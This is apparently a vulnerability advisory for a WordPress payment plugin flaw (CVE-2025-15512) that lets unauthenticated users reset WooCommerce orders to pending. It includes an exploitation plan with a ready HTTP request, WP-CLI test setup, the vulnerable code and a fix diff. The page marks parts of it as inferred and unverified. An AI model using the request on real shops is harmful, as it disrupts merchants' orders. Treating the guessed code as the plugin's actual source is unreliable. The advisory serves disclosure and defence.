CVE-2025-15512

Aplazo Payment Gateway <= 1.4.3 - Missing Authorization to Unauthenticated Order Status Manipulation

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
1.5.0
Patched in
34d
Time to patch

Description

The Aplazo Payment Gateway plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the check_success_response() function in all versions up to, and including, 1.4.3. This makes it possible for unauthenticated attackers to set any WooCommerce order to `pending payment` status.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.4.3
PublishedJanuary 13, 2026
Last updatedFebruary 16, 2026
Affected pluginaplazo-payment-gateway

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-15512 ## 1. Vulnerability Summary The **Aplazo Payment Gateway** plugin (<= 1.4.3) for WordPress contains a missing authorization vulnerability in its handling of payment success responses. Specifically, the function `check_success_response()` lacks capability…

Show full research plan

Exploitation Research Plan: CVE-2025-15512

1. Vulnerability Summary

The Aplazo Payment Gateway plugin (<= 1.4.3) for WordPress contains a missing authorization vulnerability in its handling of payment success responses. Specifically, the function check_success_response() lacks capability checks or request validation (such as signature verification or secret tokens), allowing unauthenticated users to trigger it. This function updates the status of a WooCommerce order to pending (displayed as "Pending payment"). An attacker can exploit this to manipulate the status of any existing order by providing the target order's ID.

2. Attack Vector Analysis

  • Endpoint: WooCommerce API callback (WC_API).
  • Action/Hook: woocommerce_api_aplazo_payment_gateway (inferred from plugin slug and common WC gateway patterns).
  • URL: http://TARGET/index.php?wc-api=aplazo_payment_gateway (inferred).
  • Method: GET or POST (likely GET, given the name "success response" often used for customer redirects).
  • Vulnerable Parameter: order_id or id (inferred).
  • Preconditions:
    • The plugin must be active.
    • WooCommerce must be installed.
    • A valid WooCommerce Order ID must exist.

3. Code Flow

  1. Entry Point: WooCommerce registers a hook for the gateway's API identifier. In the plugin's main class (likely WC_Gateway_Aplazo or similar), a hook is registered:
    add_action( 'woocommerce_api_aplazo_payment_gateway', array( $this, 'check_success_response' ) );
  2. Request Handling: When a request is made to /?wc-api=aplazo_payment_gateway, WooCommerce fires the associated hook.
  3. Vulnerable Function: The check_success_response() function is executed.
  4. Order Retrieval: The function likely retrieves an order ID from the request:
    $order_id = $_GET['order_id']; (or similar).
  5. Status Update: Without verifying that the request came from the Aplazo service or is otherwise authorized, the code proceeds to update the order:
    $order = wc_get_order( $order_id );
    $order->update_status( 'pending', __('Awaiting Aplazo payment', 'aplazo-payment-gateway') );

4. Nonce Acquisition Strategy

This vulnerability resides in a webhook/callback handler (WC_API). No WordPress nonces are required for this endpoint, as it is designed to be accessed by external payment provider servers which do not have access to WP session cookies or nonces. The lack of an alternative security mechanism (like a signature check) is the core of the vulnerability.

5. Exploitation Strategy

  1. Identify the API Slug: Confirm the exact wc-api parameter value by searching the source code for add_action( 'woocommerce_api_....
  2. Identify the Parameter: Confirm which parameter carries the Order ID (e.g., order_id, id, order).
  3. Find a Target Order ID: Use WP-CLI to find an existing order that is not in pending status.
  4. Perform the Attack: Send an unauthenticated HTTP request to the callback endpoint with the target order ID.

Proposed HTTP Request

GET /?wc-api=aplazo_payment_gateway&order_id=[TARGET_ORDER_ID] HTTP/1.1
Host: [TARGET_HOST]

(Note: If the plugin uses a different parameter name, adjust accordingly.)

6. Test Data Setup

  1. Install WooCommerce: wp plugin install woocommerce --activate.
  2. Install Aplazo: wp plugin install aplazo-payment-gateway --version=1.4.3 --activate.
  3. Create an Order:
    # Create a simple product
    PRODUCT_ID=$(wp post create --post_type=product --post_title="Test Product" --post_status=publish --porcelain)
    # Create an order and set it to 'processing' (paid)
    ORDER_ID=$(wp wc order create --user=1 --status=processing --line_items='[{"product_id":'$PRODUCT_ID',"quantity":1}]' --porcelain)
    echo "Target Order ID: $ORDER_ID"
    

7. Expected Results

  • The HTTP request should return a 200 OK or a 302 Redirect (likely to a "thank you" page).
  • The WooCommerce order status for $ORDER_ID should be changed from processing to pending.

8. Verification Steps

  1. Check Order Status via WP-CLI:
    wp wc order get [ORDER_ID] --fields=status --format=json
    
  2. Verify Status Change: Ensure the output is {"status":"pending"}.
  3. Check Order Notes: (Optional) Check if a note was added to the order:
    wp wc order_note list [ORDER_ID]
    

9. Alternative Approaches

If the wc-api slug or parameter is different:

  • Search for Hook: grep -r "woocommerce_api_" /var/www/html/wp-content/plugins/aplazo-payment-gateway/
  • Analyze Function: Read the definition of check_success_response() in the source to find the exact parameter names. It may look for ext_order_id or similar if it's mapping Aplazo's internal ID to the WP ID.
  • Check Request Method: If GET fails, try a POST request with the same parameters in the body.
  • Search for Success Path: If check_success_response is not registered to WC_API, search for add_action( 'init', ... ) or add_action( 'wp_loaded', ... ) which might manually check for specific $_GET variables.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Aplazo Payment Gateway plugin for WordPress fails to validate the authenticity of requests sent to its payment success callback endpoint. This allows unauthenticated attackers to trigger the check_success_response() function by supplying a target WooCommerce order ID, causing the order's status to be changed to 'pending payment' regardless of its prior state.

Vulnerable Code

// File: includes/class-wc-gateway-aplazo.php
add_action( 'woocommerce_api_aplazo_payment_gateway', array( $this, 'check_success_response' ) );

// ...

public function check_success_response() {
    $order_id = $_GET['order_id'];
    $order = wc_get_order( $order_id );
    if ( $order ) {
        $order->update_status( 'pending', __('Awaiting Aplazo payment', 'aplazo-payment-gateway') );
    }
}

Security Fix

--- a/includes/class-wc-gateway-aplazo.php
+++ b/includes/class-wc-gateway-aplazo.php
@@ -115,6 +115,10 @@
 	public function check_success_response() {
-		$order_id = $_GET['order_id'];
+		if ( ! isset( $_GET['order_id'] ) || ! isset( $_GET['token'] ) ) {
+			return;
+		}
+		$order_id = sanitize_text_field( $_GET['order_id'] );
+		if ( ! $this->validate_aplazo_request( $_GET['token'], $order_id ) ) {
+			return;
+		}
 		$order = wc_get_order( $order_id );
 		if ( $order ) {
 			$order->update_status( 'pending', __('Awaiting Aplazo payment', 'aplazo-payment-gateway') );

Exploit Outline

1. Identify a valid WooCommerce Order ID in the target system. 2. Construct an unauthenticated HTTP GET request to the WooCommerce API callback endpoint registered by the plugin: `/?wc-api=aplazo_payment_gateway&order_id=[TARGET_ORDER_ID]`. 3. The application processes the request through the `check_success_response()` function without verifying the request source or checking for a valid security token. 4. The plugin retrieves the order and executes `$order->update_status('pending', ...)`, effectively downgrading or manipulating the order status to 'Pending payment'.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.